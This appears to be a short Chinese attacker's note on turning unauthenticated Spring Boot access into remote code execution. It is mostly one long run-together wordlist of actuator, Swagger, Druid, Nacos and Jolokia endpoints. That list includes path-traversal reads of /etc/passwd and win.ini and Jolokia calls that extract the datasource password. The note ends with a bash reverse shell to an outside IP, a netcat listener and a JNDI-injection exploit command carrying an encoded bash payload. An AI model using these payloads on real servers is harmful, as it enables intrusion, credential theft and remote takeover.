记一次SpringBoot未授权到RCE

//#/wallboard/%20/swagger-ui.html/Swagger/ui/index/acl/article?id=66/acm/actuator/actuator/#/wallboard/actuator/acm/actuator/admin/swagger-ui.html/actuator/api-docs/actuator/api.html/actuator/api/index.html/actuator/api/swagger-ui.html/actuator/api/v2/api-docs/actuator/api/v2/swagger.json/actuator/archaius/actuator/archaius/actuator/nacosdiscovery/actuator/article?id=${7*7}/actuator/article?id=66/actuator/auditevents/actuator/auditevents/actuator/intergrationgraph/actuator/autoconfig/actuator/beans/actuator/beans/actuator/jolokia/actuator/beans1/actuator/caches/actuator/caches/actuator/refresh/actuator/caches/cache/actuator/channels/actuator/conditions/actuator/conditions/actuator/jolokia/list/actuator/conditions1/actuator/configprops/actuator/configprops/actuator/nacos/actuator/distv2/index.html/actuator/docs/actuator/druid/login.html/actuator/dubbo-provider/distv2/index.html/actuator/dump/actuator/env/actuator/env/actuator/liquibase/actuator/env/java.home/actuator/env/spring.jmx.enabled/actuator/env/system/actuator/features/actuator/features/actuator/peripheral/swagger-ui.html/actuator/flyway/actuator/gateway/actuator/h2-console/actuator/health/actuator/health//actuator/health/actuator/loggers/actuator/health/nacos/actuator/heapdump/actuator/heapdump/actuator/loggers/nacos/actuator/httptrace/actuator/httptrace/actuator/mappings/actuator/hystrix.stream/actuator/hystrix.stream/*/actuator/swagger/actuator/info/actuator/info/actuator/metrics/actuator/jolokia/actuator/jolokia/*/actuator/static/swagger.json/actuator/logfile/actuator/logfile/actuator/sw/swagger-ui.html/actuator/loggers/actuator/loggers//actuator/loggers/actuator/metrics/nacos/actuator/management/heapdump/actuator/mappings/actuator/mappings/actuator/monitor/conditions/actuator/metrics/actuator/metrics//actuator/metrics/actuator/monitor/env/actuator/monitor/auditevents/actuator/monitor/loggers/actuator/nacos-config/actuator/swagger-resourcesce/actuator/nacos-discovery/actuator/swagger-ui/actuator/nacosconfig/actuator/prometheus/actuator/swagger-dubbo/api-docs/actuator/refresh/actuator/peripheral/v2/api-docs/actuator/restart/actuator/scheduledtasks/actuator/scheduledtasks/actuator/monitor/mappings/actuator/sentinel/actuator/service-registry/actuator/prometheus/actuator/sessions//actuator/sessions/actuator/swagger-ui.html/actuator/swagger-ui/index.html/actuator/template/swagger-ui.html/actuator/threaddump/actuator/threaddump/actuator/monitor/scheduledtasks/actuator/trace/actuator/user/swagger-ui.html/api-docs/api.html/api/swagger-ui.html/api/v2/login/api/v2/swagger-resources/api/v2/swagger-ui.html/article?id=${7*7}/auditevents/autoconfig/beans/beans1/caches/channels/clients/clients/actuator/system/showOsInfo/clients/all/actuator/tra/clients/saveOrUpdate/actuator/trace/cloudfoundryapplication/conditions/conditions1/configprops/distv2/index.html/doc.html/docs/docs//druid/*/actuator/swagger/codes/druid/api.html/druid/basic.json/druid/datasource.html/druid/index.html/druid/login.html/druid/spring.html/druid/sql.html/druid/wall.html/druid/webapp.html/druid/websession.html/druid/weburi.html/dubbo-provider/distv2/index.html/dump/entity/all/env/env/java.home/env/nacos/env/spring/env/spring.jmx.enabled/error/actuator/monitor/threaddump/eureka/eureka/*/actuator/service-registry/features/flyway/gateway/actuator/gateway/actuator/auditevents/gateway/actuator/beans/gateway/actuator/conditions/gateway/actuator/configprops/gateway/actuator/env/gateway/actuator/health/gateway/actuator/heapdump/gateway/actuator/httptrace/gateway/actuator/hystrix.stream/gateway/actuator/info/gateway/actuator/jolokia/gateway/actuator/logfile/gateway/actuator/loggers/gateway/actuator/mappings/gateway/actuator/metrics/gateway/actuator/scheduledtasks/gateway/actuator/swagger-ui.html/gateway/actuator/threaddump/gateway/actuator/trace/get/get?serviceName=springboot2-nacos-discovery/h2-console/health/heapdump/heapdump.json/httptrace/hystrix/hystrix.stream/info/intergrationgraph/jolokia/jolokia/exec/org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager/getProperty/spring.datasource.password/jolokia/exec/org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager/getProperty/spring.datasource.url/jolokia/list/lastn/actuator/sessions/libs/swaggerui/liquibase/log/view?filename=/etc/passwd&base=../../../../../../../../../..//log/view?filename=/windows/win.ini&base=../../../../../../../../../..//logfile/loggers/login/admin/swagger-ui.html/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../..//manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../..//management/heapdump/mappings/metrics/metrics//metrics/mem/metrics/nacos/monitor/monitor/auditevents/monitor/conditions/monitor/env/monitor/loggers/monitor/mappings/monitor/scheduledtasks/monitor/threaddump/nacos/nacos/v1/cs/configs/nacos/v1/cs/configs?dataId=Misplaced/nacos/v1/ns/instance/nacos/v1/ns/instance?serviceName=springboot2-nacos-discovery/nacos/v2/cs/configs/nacos/v2/cs/configs?dataId=Misplaced/nacos/v2/ns/instance/nacos/v2/ns/instance?serviceName=springboot2-nacos-discovery/oauth/authorize/actuator/swagger/index.html/oauth/check_token/actuator/swagger/static/index.html/oauth/client/token/api-docs/oauth/confirm_access/actuator/system//oauth/error/actuator/system/env/oauth/get/token/api.html/oauth/refresh/token/api/doc/oauth/remove/token/api/index.html/oauth/token/actuator/system/mappings/oauth/token/list/api/swagger/oauth/user/token/api/swagger-resources/oauth/userinfo/api/swagger-ui.html/peripheral/swagger-ui.html/peripheral/v2/api-docs/prometheus/redis/keysSize/api/swagger/ui/redis/memoryInfo/api/swaggerui/refresh/restart/scheduledtasks/services/services/1/services/api/v2/api-docs/services/findAlls/api/v1/api-docs/services/findOnes/api/v1/login/services/granted/api/v1/swagger-resources/services/saveOrUpdate/api/v1/swagger-ui.html/sessions/shutdown/spring-security-oauth-resource/swagger-ui.html/spring-security-rest/api/swagger-ui.html/static/swagger.json/sw/swagger-ui.html/swagger/swagger-dubbo/api-docs/swagger-resources/swagger-resources/actuator/shutdown/swagger-resources/configuration/security/swagger-resources/configuration/security/actuator/spring-security-oauth-resource/swagger-ui.html/swagger-resources/configuration/ui/swagger-resources/configuration/ui/actuator/spring-security-rest/api/swagger-ui.html/swagger-ui/swagger-ui.html/swagger-ui.html#/swagger-ui.html/api/v2/swagger.json/swagger-ui/html/swagger-ui/index.html/swagger/codes/swagger/index.html/swagger/static/index.html/swagger/swagger-ui.html/swagger/ui/swagger/v1/swagger.json/swagger/v2/swagger.json/system//system/druid/index.html/system/env/system/mappings/system/showOsInfo/system/showProperties/template/swagger-ui.html/threaddump/trace/user/swagger-ui.html/v1.1/swagger-ui.html/v1.2/swagger-ui.html/v1.3/swagger-ui.html/v1.4/swagger-ui.html/v1.5/swagger-ui.html/v1.6/swagger-ui.html/v1.7/swagger-ui.html/v1.8/swagger-ui.html/v1.9/swagger-ui.html/v1/agent/self/actuator/system/showProperties/v1/api-docs/v1/catalog/service/app/v1/catalog/services/actuator/threaddump/v2.0/swagger-ui.html/v2.1/swagger-ui.html/v2.2/swagger-ui.html/v2.3/swagger-ui.html/v2/api-docs/v2/api-docs?group=swagger接口文档/v2/swagger.json/v3/api-docs/validata/code/webjars/**/actuator/nacosconfig/webpage/system/druid/index.html/api/index.html/api/v2/api-docs/actuator/swagger-ui.html/env/(name)

反弹shell：bash -c 'exec bash -i &>/dev/tcp/111.111.111.111/4444 <&1'
监听命令：nc -lnvp 4444
工具地址：https://github.com/Zard-ethan/JNDI-Injection-Exploit-1.0-SNAPSHOT-all
编码地址：https://www.jackson-t.ca/runtime-exec-payloads.html
启动命令：java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,ZGly}|{base64,-d}|{bash,-i}" -A 111.111.111.111